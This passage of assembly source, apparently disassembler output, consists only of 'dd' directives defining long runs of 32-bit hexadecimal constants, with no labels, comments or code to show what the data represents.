		dd 807688DDh, 0B241E0A8h, 0E731A067h, 0CBA76039h, 0F2D4E980h
		dd 1DF70456h, 3B148103h, 88AB7BACh, 39AEF6CAh, 0F312E494h
		dd 0DB90B0C4h, 348FD75h, 88C284DCh, 0B063D901h,	9FB9804Fh
		dd 28BB2E4h, 0A1E20480h, 0A9E5DF03h, 9B940430h,	1C836956h
		dd 30897CB0h, 74211F49h, 3200EC1Bh, 0B4DC839Bh,	170E8FBh
		dd 7F533FFCh, 3054EE22h, 9443094h, 92A7F20Dh, 0A9FC02ECh
		dd 0CADFE449h, 0B8E0CC4Dh, 4059A687h, 0A0135377h, 0A400C303h
		dd 2BC18889h, 0B9DD6D90h, 9310F2D8h, 80894B06h,	11C41D44h
		dd 0A4FA50AAh, 0D7A0EF0Ch, 9CFA50DBh, 0EA768444h, 71B0C253h
		dd 0DD8E3720h, 0E82C00C0h, 9141780Fh, 63009CB8h, 48B60AF4h
		dd 37A689C9h, 0C4A81195h, 201C89AFh, 0B01AEAC4h, 468C943h
		dd 0B067B884h, 587C722h, 0C4C0A4B1h, 286F220Bh,	48A8DF49h
		dd 0AA0F2E59h, 1A4CDB42h, 6A00E7F1h, 5334B25Dh,	713C03h
		dd 2AA3EDE4h, 0E82F74B9h, 0E98B5B02h, 6F1E01B0h, 80A76494h
		dd 60E19D28h, 88EA6109h, 48C8213Fh, 0EC3353D9h,	7B301DA2h
		dd 30855816h, 0B416B89Ch, 93EC4205h, 50436F9Ah,	0B5207882h
		dd 3AC7C1CCh, 0F9D017h,	0D63C5031h, 69E96168h, 0DC8E9107h
		dd 38CFE597h, 0F28DF48h, 0F1205859h, 0AE34A320h, 9700FCAFh
		dd 0D665A5Dh, 4268B8Ch,	41554F68h, 2389705h, 0D504CEC3h
		dd 6092E8C3h, 213AA4B9h, 0BAF83B70h, 0AA9B0F09h, 50CD26Eh
		dd 9CCC8397h, 23882F38h, 4E0A0B07h, 0FDBF6683h,	46335990h
		dd 538C891Dh, 0B146DCA8h, 0C4227102h, 17311D87h, 220ADF10h
		dd 750166E2h, 0E0B29BF8h, 43E84613h, 0DCE849F5h, 6832F06h
		dd 7904C06Ah, 2A47B0ECh, 4E0A38E8h, 2C881835h, 0C1D30A24h
		dd 0E1F1288h, 489011B8h, 12D722D8h, 4AD0ED41h, 5C58C9B8h
		dd 9B071946h, 30E24612h, 0CAB59020h, 0C5AE890Dh, 8440882Dh
		dd 4ED5CDA2h, 0A5DC8CC9h, 44872B28h, 20F4E0C4h,	0DC7C3200h
		dd 0D323986h, 74D82155h, 8E600ECCh, 8B72276Fh, 61328420h
		dd 0DB491031h, 7BAD91D0h, 77D1DF07h, 703052E4h,	24BDC7BFh
		dd 8528A5A6h, 98D22AD0h, 4108C218h, 0C4EDEC71h,	0DAA24075h
		dd 128AA141h, 436E9B97h, 40FDC330h, 431CC8ADh, 0F59E540h
		dd 0B4C6D24Fh, 4309B265h, 0C9A605A8h, 0B7B03AA8h, 27C39003h
		dd 0AB4E9h, 0FEA37621h,	6ED91C12h, 0F009DC73h, 0CFCC332h
		dd 41CA78FDh, 0AC90006Ah, 8F09554Ch, 842172A4h,	80ED1D52h
		dd 0D4162238h, 92482714h, 5B11196Bh, 5E8700D2h,	88A12339h
		dd 588C33EFh, 1D4510C0h, 82A0C22Eh, 0C78A2BB3h,	720AC8AEh
		dd 7B7A808Ch, 0BDFC827Ch, 0A4F83801h, 5C55FF1Eh, 0BAC031CDh
		dd 0EA72AC9h, 0E5410CD4h, 0DA9812FCh, 9C940D78h, 0D0B086A8h
		dd 7A7C313Eh, 2CA20586h, 20B2ACC4h, 0CF39AE94h,	1E9BF100h
		dd 0A082303Ah, 0D9C81683h, 984C14D1h, 58582C8Dh, 22081078h
		dd 0C41587C1h, 9C2401Ah, 79CD3722h, 0D8E00DFh, 5C922BA7h
		dd 6159E171h, 4889276Ch, 4D5F0D50h, 0EF06289Ch,	7823B788h
		dd 6297D909h, 11B81D2Ch, 0FCB7811Eh, 0B0F402DDh, 7F2B2833h
		dd 0CF520C8h, 58FE6301h, 43A06A7Ah, 81D880E2h, 821FD9AEh
		dd 2D860040h, 4759B8A8h, 2B342509h, 22E082CEh, 62504084h
		dd 0FD16155Eh, 0F098988Ch, 0AB67B439h, 0C375A6E0h, 8193F847h
		dd 0D2ACD120h, 0AA1F0252h, 5E0DDFD6h, 0A3638090h, 0D902C899h
		dd 6A24E598h, 9605A3Ch,	81BE9B92h, 160534FAh, 0CA9CC9D0h
		dd 11052CC1h, 0C056E100h, 0F45CD01h, 0B9EF083Fh, 9C380424h
		dd 4465C5Ch, 0A1B124h, 828D8055h, 10B8F687h, 2B594E10h
		dd 0B32DD000h, 1CE11A77h, 0E6018B0h, 0AA8B2999h, 48B0C391h
		dd 59782B49h, 1BAD660Fh, 8FF44170h, 15F4F803h, 9AA1FC1h
		dd 840B956Eh, 0FB80D23Ah, 63557BE7h, 4305287Ch,	49DAC740h
		dd 5E527880h, 711E64E5h, 1D8A4B1h, 1884AA00h, 68E647EEh
		dd 35B70093h, 92639827h, 0C6514B85h, 0EA77D8FCh, 9D24617h
		dd 80112008h, 7D10D59h,	0A03B0C2h, 0D3580C77h, 9CC590BFh
		dd 0DEE63Eh, 721BF4D6h,	78227C6Eh, 0DCC9C400h, 9B12F171h
		dd 0EFD4A85Ah, 0A2C28F5h, 0F9C400E4h, 8B95AC83h, 0DF80DDCDh
		dd 8C0C55E3h, 0A4C5F443h, 69037300h, 2500F89Ch,	0FEA56B2h
		dd 1BA4942h, 6C8E3CF1h,	0E887BCE7h, 6D5930E5h, 98090450h
		dd 44B319D6h, 0AFB2B23Ah, 94A1F028h, 52970CB7h,	0C848BB08h
		dd 32309392h, 0F5C3988Fh, 590C6368h, 40C142BEh,	6410830Dh
		dd 0C87F683h, 2D491D28h, 3809F1C1h, 0C4C90525h,	5D931CB0h
		dd 0CB1E40E8h, 0BF0CD4DAh, 724F2B02h, 82D2C9B9h, 488941C0h
		dd 3C9328E4h, 0D928B12Ch, 42552CF0h, 1BDF8954h,	0E70314FAh
		dd 0DEBF0F8Ah, 5E402CDAh, 8811904Ch, 41C5C0D3h,	3546EC0Eh
		dd 0A5007E22h, 0E7D41DDh, 1C1A6188h, 42D1BFh, 8286AE1h
		dd 0A8A0D905h, 1132B0F0h, 0C06098D6h, 1293122Ch, 4B197E5Ah
		dd 1820C0C8h, 0E236B1A9h, 960AFB17h, 0EDDC32h, 0E1DDBB57h
		dd 0C9816660h, 95E3431h, 43D2FC0Ch, 8CC4988Ah, 5BE0D4D9h
		dd 6E2DE898h, 43146A97h, 418AAAF4h, 1084EA38h, 0C8C7CB93h
		dd 0BAEA89CCh, 0A46F890h, 0C09CDC02h, 1331D691h, 9CD4EF10h
		dd 0DE077E77h, 0D398EC09h, 879409C9h, 1B2615A4h, 8B113DC8h
		dd 0DFF87DB0h, 90AC5F0Bh, 87AD890Bh, 618410CDh,	0F8C2827Ch
		dd 0D001059h, 0C0A55D44h, 8FD1DC4h, 9F6D8043h, 6C4D3A88h
		dd 91DAFE02h, 0C469BE83h, 6876F3D8h, 0D96FBA02h, 0C731BE42h
		dd 0B21B2180h, 555B8D6Fh, 8B893702h, 0A0089663h, 0D1AE87A0h
		dd 0F8C0BA12h, 5261FE57h, 0C00230E0h, 0CE42DB6Fh, 150098E7h
		dd 45F36FB8h, 0F44F00D2h, 9394659Fh, 0B0C07026h, 0B8D82B58h
		dd 2866589Ah, 1E68CA11h, 42824B3Fh, 0EABFB1B7h,	400C8024h
		dd 13437485h, 0C267E015h, 0E9201240h, 0FDD7C6h,	0F4A46D27h
		dd 9FAEFBB1h, 373A8D79h, 8F9B89DEh, 0BF0200A8h,	965948A9h
		dd 0FD430EF8h, 649018EBh, 88B48C62h, 6170B08Dh,	99491840h
		dd 9168B402h, 9CDB8005h, 962E91BDh, 0D3F0587Ch,	42D59C58h
		dd 5FF101B0h, 0E303499Eh, 0D43CDF31h, 6810C927h, 78808342h
		dd 192E6049h, 0CD7764B7h, 4B844813h, 0CF73F042h, 0C938C01Eh
		dd 6CD8A21Ah, 0F3820AB8h, 1A0D483h, 73B0AF38h, 97C20C4h
		dd 9CD7048Ch, 62CE91B9h, 2FEC201Eh, 1F01649Bh, 9D97C707h
		dd 608B403Fh, 0E4004EA7h, 701D42BDh, 6327F092h,	1AB01008h
		dd 5C4316A6h, 2DC8201Dh, 7A2C550Dh, 0E680EC2Ch,	0F8154460h
		dd 9740C307h, 84E45E9Bh, 0A9BEC614h, 6B79A8B9h,	7B1DF218h
		dd 0F589A947h, 0FFA0E008h, 9459034Dh, 84540DB2h, 6FE26102h
		dd 0A995E125h, 6430E538h, 0AB3E607Fh, 652D0046h, 767BE3C5h
		dd 821C44EAh, 70B2686Fh, 0A9FC20C1h, 4802884Ch,	554689E3h
		dd 62E08F07h, 0A4BD832Bh, 0EC8B63ACh, 76C0CCC8h, 0B21D958h
		dd 0CFDC6392h, 0E8ED1402h, 0CA18DCD0h, 3C31E0A7h, 0FBFE0046h
		dd 0BC4A1AA1h, 5A1E671Ch, 0D90F7E1Bh, 40CDE987h, 49B1C1E0h
		dd 82006080h, 0F394409Ch, 0D4A275BEh, 5F70A853h, 1768E0E7h
		dd 916B5D9h, 7C60BAE0h,	0A013EA78h, 9400C5A3h, 5E0BE0D4h
		dd 0B97A2EDAh, 2D2A6064h, 0C506C0F4h, 71AC6C75h, 73E775D8h
		dd 37E80BA3h, 84C972C2h, 97B917D3h, 811E91FCh, 99FDB158h
		dd 0D85259DDh, 91C20020h, 0B9D3C693h, 89DE6861h, 724AC5h
		dd 1F02BD38h, 17F5D95Eh, 0C28668DEh, 0FCD114B2h, 927402ADh
		dd 3B5DDA7Bh, 0E184860h, 0EC79D203h, 0D038A38Eh, 2274B497h
		dd 3D00174Ch, 43982B1Eh, 16F53968h, 0B796D55h, 1CE4D27Ch
		dd 6C223300h, 386E8AF3h, 67A409C9h, 0A01073DCh,	582CE7FCh
		dd 46768CC5h, 941B0B1Dh, 29AE0B9Bh, 0E88898ECh,	85FB1619h
		dd 69846072h, 0C1413FA0h
		dd 0C65A801h, 2C098462h, 6C66B5D8h, 0C8220D05h,	9CA27D87h
		dd 2206C3C3h, 4C1A23A8h, 80009899h, 595FC8A2h, 0E8584845h
		dd 0D9F6F903h, 24C334EAh, 848CC7DDh, 30D82218h,	0F1341DCh
		dd 0D88B3DECh, 541F47Fh, 52BB9E91h, 0E2ACE263h,	2D9130C7h
		dd 71609506h, 7B897D45h, 0BE8B12C1h, 9728016Dh,	2C2074E5h
		dd 0C8B4CB74h, 27F2BF4h, 0C9B7333Dh, 8957A59Fh,	8AA005D8h
		dd 48010E0h, 0A904E737h, 0FA188849h, 81B14438h,	7EDC78C9h
		dd 8C68BD32h, 6016F001h, 0C4EF2CEBh, 0D72F13A0h, 19C00772h
		dd 0D544944Ah, 1041DB60h, 0C425EC26h, 41D3F873h, 657F017Dh
		dd 541542CBh, 87C9001Ah, 80B4BCA6h, 7792D9F2h, 0CA0757E4h
		dd 0E7B0EFB9h, 40A46F5Bh, 8C79AD97h, 17F9D2Fh, 639809C0h
		dd 0B4ECC4EEh, 0D548DC8Ch, 0BCD1158h, 3FBFA00Ch, 0A5180760h
		dd 5B180849h, 0A02F54B0h, 0AC38A91Fh, 22080E18h, 0C46587DBh
		dd 7C84013h, 16D4A22h, 81460BDFh, 381E61AEh, 90E08EC4h
		dd 1947580Ah, 791108D4h, 0E788EF05h, 213804D6h,	3C880BE5h
		dd 9B243861h, 364A80F4h, 52CDF43Fh, 0C179B614h,	954611D0h
		dd 60C76278h, 0E9001499h, 45CD3B88h, 0C11F172h,	0C678A7Bh
		dd 1962C442h, 88ECF477h, 60E05B32h, 0E820E0DCh,	8BECBC74h
		dd 0D41F9155h, 59816B91h, 6045921Ah, 6840508Ch,	9A9312BBh
		dd 1558C065h, 70B46BACh, 59943289h, 1D51194h, 0AC47E782h
		dd 58747683h, 0FEA241DBh, 5AC0DCCDh, 0CED57Eh, 2F430426h
		dd 0B1394212h, 2E080749h, 0BB002303h, 0E4FAF224h, 0EFDF2677h
		dd 0F51640D4h, 0A90AC08Ah, 48723E83h, 162B4340h, 8070E04Fh
		dd 31CF2D8h, 120EDC76h,	0AC95000Ah, 438A70Dh, 545E8BC7h
		dd 0F2F895C8h, 307FE27Ch, 1809AE37h, 0E90371h, 0F13F5A71h
		dd 0CBA63D99h, 44D28B97h, 0BC61411Ch, 8C07BC18h, 5B93BF1Fh
		dd 5E1CF5C0h, 0BADCE542h, 4EC89870h, 2BC002AAh,	80E09227h
		dd 1F0C2EA1h, 0D830114Dh, 4F7C0663h, 1019E1ADh,	0C898ED09h
		dd 0D298000Fh, 3C43859h, 926142DCh, 50FEFA93h, 13305805h
		dd 8C3A9A71h, 0CE0E7D23h, 2CB960F6h, 0FBFC8CFh,	0FCC35D14h
		dd 0DF947420h, 0E62463D5h, 0A0087851h, 54904B4Fh, 5B0298ACh
		dd 8BA05E74h, 63906FCDh, 0C08CA449h, 72DD9314h,	18DA8Bh
		dd 64831661h, 0F4A09584h, 0FF5C593Ah, 2F24A3Eh,	0DAB1BF97h
		dd 0C47067D9h, 8732601Eh, 4840101h, 996FDB49h, 0F4402AA7h
		dd 5212273Ch, 0BBBE3B28h, 2B90F704h, 4DCA878h, 0DBD4A689h
		dd 8A9B8D4h, 97182931h,	4D010AC5h, 7FB0E9EDh, 0B17843D5h
		dd 0BC5CCCA4h, 56789686h, 8062C721h, 69C083A8h,	16F2AD67h
		dd 0F388A4BEh, 0A3C664CAh, 3013E244h, 2B4A875Ch, 7619088h
		dd 15D5B268h, 0F8C09F5Dh, 6DA41ECEh, 58A1BA00h,	839FD6FFh
		dd 913901F9h, 0F379BF04h, 9503C86h, 612AED43h, 0C42638CCh
		dd 20E23EE0h, 87149DE2h, 1CA097A4h, 30122CD4h, 22200087h
		dd 0C3FEABh, 0C7CA8C89h, 0C9107254h, 6361E1F8h,	0FECE58C9h
		dd 4474F4h, 0D7F212A3h,	5D77F175h, 1E761703h, 92796E91h
		dd 3044ABh, 0CC244328h,	0D86D59Fh, 0B8B67013h, 0E3DF708Bh
		dd 4FC3DD00h, 31DCFBAh,	0BBD04BF1h, 0C1D48382h,	2F633E00h
		dd 90E4B84Eh, 82B4AA1Dh, 8BFD2BC1h, 0D08704E0h,	0C3A725Fh
		dd 6001C23h, 0B22499A4h, 0E9E60465h, 0A83E53E8h, 675E08CCh
		dd 4FE202EBh, 9C67EF49h, 8C600864h, 9B00DBAEh, 34428078h
		dd 49AA3F51h, 9C3E64CAh, 90E79680h, 0D232A063h,	0F39A3800h
		dd 73C0B2C2h, 97FC06B8h, 0A0E274AFh, 0D66CDA48h, 68854094h
		dd 89A59500h, 90FF0B99h, 20ED22B4h, 5B074013h, 83027008h
		dd 0DFB13236h, 16FC3058h, 9091DE23h, 0ED002CC5h, 3BFD1388h
		dd 22589C36h, 3D4C29F5h, 97B216D1h, 0E541C830h,	681062D0h
		dd 94419B95h, 37E4401Fh, 0E018DAC2h, 16B911E6h,	0D1DB4A85h
		dd 22373428h, 301DF224h, 0F900DE50h, 7AD9B638h,	9069EA72h
		dd 2AB4608h, 87C6220Fh,	1FCE76Dh, 2F2208C5h, 0B0203B51h
		dd 648B4Dh, 5FCCE85Bh, 0DBA0EA1Ch, 0D9A80595h, 6822F4B1h
		dd 32208384h, 6FB930D9h, 0A642DA17h, 1184838h, 3FE06FB1h
		dd 0E0FA26B3h, 7525B094h, 20CC48E1h, 715B3F9Ah,	52930373h
		dd 0A9BCDBE5h, 0F8B37CA8h, 37A0EF1Ch, 1402265h,	44011A17h
		dd 32470BDFh, 21C6CCC4h, 0C0FB5CAAh, 19732608h,	1054444Bh
		dd 487FBD5Eh, 0D72F13B4h, 4A2FF889h, 0C420AA6Ch, 59284003h
		dd 0B0EAE230h, 5DC21B8h, 0D0279691h, 8866FC4Dh,	24E88290h
		dd 0B44A1248h, 33A0060h, 0C4D401FEh, 60A9185h, 1D4F9C3h
		dd 81FA10C8h, 8214881Ah, 20A14E87h, 2B20485Ah, 2D18C433h
		dd 69EF040Ch, 18BC18ACh, 8992178Ch, 83140441h, 84F406CCh
		dd 0C68B22B0h, 0A06C6531h, 0B4536246h, 0CD299D6h, 12898020h
		dd 0E91F8D56h, 0CB6B1870h, 274E8B38h, 0A0EDE2DEh, 44057990h
		dd 0D51178E5h, 5D70C8F0h, 0F33EFD73h, 51BB05CBh, 0B4B2B974h
		dd 5EB5E101h, 20EBB834h, 8B4CF48h, 88303424h, 0B971323Bh
		dd 6660C204h, 44200209h, 5E045A61h, 0DAB80A06h,	3B6D11C0h
		dd 5F9121Fh, 0DEA74421h, 897C8C33h, 398441C9h, 1649012Dh
		dd 0AE831980h, 1DCC5A86h, 0E9C95901h, 78BB60ACh, 53C15870h
		dd 16A2DCCAh, 1C660D31h, 54A9FC00h, 1FBB3EF3h, 0C6D170B9h
		dd 0EA774418h, 0B44BB15Fh, 93D0C882h, 0D2150BFBh, 0D0EBE7A8h
		dd 624451A0h, 928D33Dh,	91D985EAh, 0D02BE138h, 8481C3A0h
		dd 0C2A36005h, 20AC63BEh, 248C20E8h, 39E83D67h,	0F0B8060Bh
		dd 9317D418h, 2CC12E4Eh, 829E2DFh, 7A837C09h, 79095870h
		dd 0A177AD8Ch, 15AE8BA8h, 0B7B8C8C6h, 604AB8B8h, 24E1C806h
		dd 37E6E882h, 18211F06h, 5686410h, 8ED020E7h, 1A840003h
		dd 0CF340E94h, 465C5CBCh, 815D3E7Ah, 0E29795FCh, 0E5E00C5Bh
		dd 0CCC31643h, 0C8D08B9Ch, 4E63C004h, 1C389622h, 6C89A6BDh
		dd 754674h, 0A9AC176Ah,	83BC012h, 2DE9DF25h, 0A80154A4h
		dd 39CD9207h, 23D02F3Fh, 0CF300076h, 0BDA6872Fh, 0F1C02E50h
		dd 9D4D900h, 0E05797B7h, 25DA7991h, 946BB973h, 0FB0B22C0h
		dd 0AD84E800h, 447CE7BFh, 3F341726h, 0C81CCB49h, 131C079h
		dd 0E7049BB1h, 56FB94E4h, 0C41898A1h, 0A932579h, 32EF1840h
		dd 0D78D1610h, 0F0210207h, 3CA29B80h, 6CF2A6FBh, 80944C5Ch
		dd 596C20AEh, 5A0D24DBh, 4F1A4088h, 30EB9415h, 7D022018h
		dd 0D0E24CA9h, 70F45B29h, 3C000704h, 951FE6Eh, 49DFFC1h
		dd 87C9D7A9h, 237CBCDDh, 9C823D07h, 343E91B3h, 0EE4088F1h
		dd 88A9CD5h, 0EA25566Ah, 38C9CB3Bh, 4E2B9008h, 0FDD0C88Eh
		dd 6B3420h, 0E47752BBh,	0EA207BB7h, 0DF28BA98h,	0A912401Bh
		dd 4121A5Dh, 13237C3Ah,	3CA1CB03h, 261E83F8h, 0A50DA70h
		dd 2C789DA7h, 5427DCECh, 838C416h, 67DCFD41h, 0F7839501h
		dd 847C1FA5h, 6243C7E8h, 0E7289B00h, 39550718h,	8435125Eh
		dd 1AC81CCAh, 4C99A0CEh, 1689B40Eh, 0A398EFF1h,	0E2A84204h
		dd 2AEC301Bh, 6A9A0500h, 71F7473Fh, 51AA582Eh, 70781F29h
		dd 0E866133h, 2DEE443Fh, 7DDBBCA0h, 718E382h, 4790EB1h
		dd 17F403DFh, 0B368DDFEh, 0BA31D1F8h, 252DFC01h, 0EA72373Bh
		dd 2870206Ah, 0BB2D3243h, 0E470C502h, 0AE3C60CDh, 6EF4005Fh
		dd 6BC19FFCh, 0FD2E940Ah, 2C8070FFh, 0A347E1D9h, 0F4409A2h
		dd 0C0C8E2D5h, 45008DB3h
		dd 0FFD083DBh, 0AE6643h, 0EBE98124h, 405F7561h,	6C1DD975h
		dd 63C94476h, 0AAFC68ABh, 389C0C9h, 604F5841h, 6D07F100h
		dd 0F8AF2CA2h, 0E0B6FE2Fh, 151A0077h, 7DE47380h, 1216E666h
		dd 34CB0F68h, 63C0C5C8h, 0ECB0ED5Dh, 22E0C016h,	7E81D41h
		dd 0F37CB0BAh, 4A796840h, 4978815Eh, 9561072Ch,	0EC283D1Fh
		dd 7621A7E2h, 69015BEAh, 8D28680Fh, 0AC6021B7h,	951C40B0h
		dd 0A0D38B24h, 0C4F54384h, 3807C8B8h, 861DC101h, 1F611103h
		dd 8ABD4158h, 4FB84C6Dh, 11144C1Fh, 0BDC20400h,	2E7C5143h
		dd 80EC1693h, 96E75759h, 70D6AD88h, 10D7E012h, 914E8961h
		dd 0C0126428h, 23803B38h, 0F3400331h, 18B83ABEh, 0EF4A98ECh
		dd 0E2D8D818h, 0E1FD006Ah, 0D3C935B9h, 5896AC63h, 0A41C5760h
		dd 541D1042h, 48383F0Dh, 8CCCE87Ch, 35CD9800h, 15FCE731h
		dd 43D504C4h, 0ECBD3736h, 0FC335EFCh, 8440AD49h, 1608E655h
		dd 73720078h, 0CCDAD04Ch, 0DD0C6985h, 29E10132h, 0E4179529h
		dd 0A8871B91h, 8FDC303Fh, 0CA1F99AEh, 586732B8h, 22184E4Ch
		dd 0BE30DE68h, 42DD3D6Fh, 648BDEh, 696FB617h, 13B4A87Ah
		dd 0B03244C8h, 5B8090E8h, 1B04271Dh, 29780010h,	4FA05380h
		dd 0C4BCC7AFh, 648FD42h, 3C43886Fh, 85895818h, 0E924015Bh
		dd 3E1FE8h, 150722h, 395AE04Bh,	7F68D9F0h, 8048CC3Ah, 8659AC62h
		dd 0E210ED30h, 7882564h, 0AE878860h, 4C762927h,	60F08DC0h
		dd 25ECE408h, 45BF23Eh,	0E1DF273Dh, 0FB1280A2h,	2E7C5CA2h
		dd 16174340h, 74762890h, 72808C91h, 0DF066C4Bh,	41FA60E6h
		dd 808EF394h, 1CF06082h, 0E4B18011h, 0D29E0C2h,	827CFC5Bh
		dd 429B0A5Eh, 9A97B0F8h, 0BC861E4h, 0BFF6D918h,	0C5DE9125h
		dd 0D1EA80C8h, 67F3A79Ch, 0AE63E716h, 580D1C21h, 7F98316Ah
		dd 979F0033h, 181C69E2h, 7F796051h, 0CC308C18h,	0ED2FB0C4h
		dd 98E252F7h, 0F601BF00h, 5A9781E1h, 4781986Bh,	80F16FF0h
		dd 0CDAFD220h, 0AE850A54h, 7490B444h, 38011346h, 0F544E8CAh
		dd 0D4406BFCh, 0AD63D9BAh, 0DEDC4A1Bh, 34BC8048h, 9164043h
		dd 0A1E787FDh, 482894A7h, 0F0A4A902h, 8B585C1Ah, 0D4718B16h
		dd 1065888h, 0E6E04217h, 0AC39802Bh, 0D6B333B1h, 4F34B40Dh
		dd 0BF5B8C20h, 970741F8h, 3DDC4366h, 0DAC0C5F3h, 0E64082FCh
		dd 930A202Ch, 3490666Ah, 0E85A5B24h, 4AA0D695h,	6CC8F4CBh
		dd 9DAE28C0h, 9900082h,	0FD444272h, 0F09405ACh,	0C2E9F986h
		dd 4054F8E0h, 0A54EBB09h, 0C4C8E08Bh, 54E2ADC2h, 0CFA68FD4h
		dd 98868340h, 64064287h, 6E600DEDh, 94632D21h, 5D4E8810h
		dd 9F1A1940h, 64D1FC4Ah, 0A5182079h, 4CA7EF28h,	0A20C0800h
		dd 6D847F4h, 0EE2000AFh, 42AE8BFFh, 22B5D994h, 0F37BF048h
		dd 6306704Ch, 2A18540Fh, 5C518348h, 3F59F86Ch, 5ED90255h
		dd 0C9C6961Dh, 0CE0814F6h, 6BE10D77h, 466AD469h, 71738302h
		dd 0D4B45645h, 0BD429F0h, 0A412E155h, 1879D0D9h, 0CD056A18h
		dd 67A0EF9Ah, 0A73884ECh, 64A0692Dh, 68D1815Fh,	0EE4574B8h
		dd 46E2Bh, 0B153707h, 28A011D6h, 5F849F09h, 435C897Ah
		dd 98B49834h, 0C0BC96A4h, 418E5B42h, 3602DAF8h,	6718117Dh
		dd 9FFEA460h, 17550842h, 80C691A4h, 2BD0E47Ch, 980CA28Ah
		dd 0AF96D8h, 0CF1EB9AEh, 741E322h, 6A8A9D01h, 8FD8043Bh
		dd 443C67D6h, 1070601Ah, 6B6D0020h, 0E8EDF289h,	0BF3C42A2h
		dd 2546172Ah, 4E5304C0h, 20210922h, 68480A10h, 0F0886A42h
		dd 178528E8h, 0DC88B4E0h, 0A4A1BE04h, 38D04749h, 5EC9FC3h
		dd 4E897357h, 201CA111h, 8C98014Ch, 20EA5Bh, 802E794Eh
		dd 5709FE63h, 13956E7Ah, 692010E0h, 19E06317h, 0AAA82520h
		dd 0EFBFF4E8h, 0F8FA0500h, 3CE11497h, 358B0009h, 0D812969Ah
		dd 0BC99E5E0h, 0E2DCC702h, 0FC04681Bh, 9DF832E8h, 7E040398h
		dd 0E2881645h, 471302C8h, 5E6A5CA7h, 0D04676E0h, 49B04006h
		dd 4201513Dh, 9D45E49Fh, 8090DECAh, 50C12608h, 6440C569h
		dd 0A9AF611Dh, 26DCBBF4h, 810C477h, 9826CC1Ah, 1044674h
		dd 10CAC3A4h, 0C070AA1Bh, 491A4015h, 7021435Ah,	0AC21C697h
		dd 2610086Ah, 0C0C4EDADh, 0A9381CD1h, 4F12BDE6h, 0E78A0h
		dd 55053005h, 0BCDAFB98h, 0ED410438h, 0B1046C20h, 0E204D462h
		dd 301EF210h, 0B002F3BCh, 7398374Bh, 5C0257A8h,	1061D593h
		dd 7D603070h, 14766140h, 0B0EA151Ah, 93CE1210h,	823282Eh
		dd 85ABB000h, 29A2358h,	0C7217F82h, 0E85111A7h,	0BF87DF11h
		dd 0B642726Fh, 1A61A459h, 0CEC86FB7h, 647E06AEh, 71184999h
		dd 0E43F51ECh, 81218F90h, 0C657A0AAh, 98286729h, 2AF300A4h
		dd 1F859207h, 230272C4h, 90B6BF7h, 90AC6110h, 7DAF02DEh
		dd 2344B4F8h, 209C0A7h,	6EE76F74h, 7D3D8700h, 0E663DF72h
		dd 918A7F5Dh, 1805D168h, 329F38D3h, 0B522AD03h,	0F8E408BEh
		dd 8C1CBC50h, 7AABA503h, 0B1E328DFh, 17A8149h, 5E9B9460h
		dd 0F60F0288h, 0ACAE1E7Ch, 97638B94h, 79524B0h,	5A98ED80h
		dd 8EC484A7h, 0E39CDCh,	0EB94412Fh, 0A0958916h,	0C00BABB0h
		dd 0DA613BDh, 0B234B314h, 1AF83380h, 1D242DADh,	0D6182888h
		dd 86D561h, 0EDEEC6BBh,	78A4E0B0h, 64D22324h, 7D3E108h
		dd 0AAF88B95h, 1EB00088h, 8A058107h, 0D7726B03h, 2C55132h
		dd 0A68BA26Ah, 88903ABAh, 0CC9869BDh, 573B9FE6h, 1081258Dh
		dd 27421278h, 1CC0DB65h, 0D6801980h, 46BD0C24h,	0EF487731h
		dd 1E4005E0h, 4A58B88Bh, 598483F7h, 0F0C61008h,	868AC12h
		dd 61110681h, 0B390EF0Eh, 0A68940D8h, 0FC90494Fh, 833A47F8h
		dd 152898F0h, 10FF4892h, 1E5BA2Fh, 67B60332h, 0F4669724h
		dd 4405A9FBh, 0D9C8B237h, 0FEC00CDBh, 9B92FFB3h, 0F8642A30h
		dd 4E381D5Bh, 7AAC2272h, 339D9120h, 3022B5CAh, 0E9011755h
		dd 0AC385788h, 110873Eh, 0E8E70502h, 21AE2127h,	21F696Ch
		dd 8008DCB4h, 37BB5789h, 5807315Ah, 2A089AB1h, 0E20E3C50h
		dd 8C0755E8h, 89225828h, 0AAF32C0Ah, 8C08586Eh,	2CED626Bh
		dd 9B91C200h, 2421956Eh, 843FBA0Bh, 0C9D0C730h,	0E10ED523h
		dd 343BA0E9h, 40B2A4F0h, 8D3080F2h, 0BDB404E5h,	0AAFBDEACh
		dd 1FA00C60h, 4FFC803Dh, 1D995403h, 2E1543h, 1BA4A999h
		dd 5871A860h, 0BD292B02h, 0F6AE6389h, 0C576298h, 0B6B09855h
		dd 69B2797h, 7183D4C3h,	2B47911Ch, 371EEA28h, 18405DFCh
		dd 0C83EBDBAh, 6D4C00ACh, 0C09089C3h, 4405BE32h, 14F54B49h
		dd 0FE05CB0h, 436F8395h, 0EA141CF2h, 15EF17A8h,	3898C284h
		dd 3058205Bh, 97921C70h, 7593808Ch, 0E0BA2CC6h,	10A81349h
		dd 0C2006898h, 0FC9CFD2Bh, 2414A1A9h, 5F88C9B2h, 395AC088h
		dd 0BC8196E4h, 8EFB7305h, 0A313C4EFh, 488CA148h, 8C01E8F0h
		dd 33D6E00h, 0BD372F98h, 0E61D0594h, 0B85E1A79h, 8C19E878h
		dd 3C7C0460h, 35EEF90h,	5689CA93h, 0E8792AB9h, 0A687CC09h
		dd 53B0A791h, 55316F02h, 3015CBDh, 5E21FEDEh, 0DC22D821h
		dd 0F3925904h, 5400BBD8h, 0FB91C178h, 0F48BBDEAh, 2496FCF0h
		dd 9065740h, 0F27607B4h, 20D7B6B3h, 0C9B3F9Ah, 1164FE4Ch
		dd 884F1925h, 0E658094Ch, 96522C4h, 0DCFDC4B7h,	2F64F041h
		dd 15988804h, 0A4B257h,	3FCD997Ch, 0A19DAh, 886F72C0h
		dd 50A0B7D2h, 954B8B10h, 41C1E030h, 0C4F4015h, 20839862h
		dd 0D3AE74FCh, 61B07B30h, 151720D8h, 18B6407Ch,	0F840133Ah
		dd 0FE039D78h
		dd 2F5A5C55h, 3AB0Dh, 0F247E139h, 9FDB67CCh, 1E00EC7Eh
		dd 0B0F00E3Bh, 0B171158Ch, 1816D9B8h, 4E890A33h, 26A40E3Dh
		dd 3BDA3D4Fh, 82348h, 0AEDED30Dh, 0D700AA63h, 770E976h
		dd 0C571E545h, 0B1F260h, 0F0D04640h, 9E000DFFh,	7CB43CDAh
		dd 1A561Bh, 0DB3D457Ah,	0D2AD5AABh, 41EA0B17h, 4498DCF0h
		dd 7100DC02h, 4322DABAh, 9E92CC4Bh, 0B57C4084h,	0A43F5E13h
